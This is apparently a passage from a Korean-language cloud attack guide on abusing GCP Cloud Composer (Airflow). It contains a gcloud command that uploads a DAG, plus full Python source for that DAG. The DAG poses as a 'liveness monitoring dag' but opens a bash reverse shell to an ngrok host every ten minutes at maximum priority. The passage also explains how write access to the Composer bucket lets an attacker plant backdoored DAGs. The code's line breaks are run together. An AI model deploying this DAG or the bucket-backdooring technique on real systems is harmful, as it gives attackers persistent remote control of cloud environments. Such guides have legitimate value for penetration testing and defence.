# TODO: Create dag to get a rev shellgcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
리버스 셸 DAG:
reverse_shell.py
import airflowfrom airflow import DAGfrom airflow.operators.bash_operator import BashOperatorfrom datetime import timedeltadefault_args ={'start_date': airflow.utils.dates.days_ago(0),'retries':1,'retry_delay':timedelta(minutes=5)}dag =DAG('reverse_shell',default_args=default_args,description='liveness monitoring dag',schedule_interval='*/10 * * * *',max_active_runs=1,catchup=False,dagrun_timeout=timedelta(minutes=10),)# priority_weight has type int in Airflow DB, uses the maximum.t1 =BashOperator(task_id='bash_rev',bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',dag=dag,depends_on_past=False,priority_weight=2**31-1,do_xcom_push=False)
Composer 버킷에 대한 쓰기 권한
모든 composer 환경의 구성 요소(DAG, 플러그인 및 데이터)는 GCP 버킷 내에 저장됩니다. 공격자가 이 버킷에 대한 읽기 및 쓰기 권한을 가지고 있다면, 그는 버킷을 모니터링하고 DAG가 생성되거나 업데이트될 때마다 백도어가 포함된 버전을 제출하여 composer 환경이 저장소에서 백도어가 포함된 버전을 가져오게 할 수 있습니다.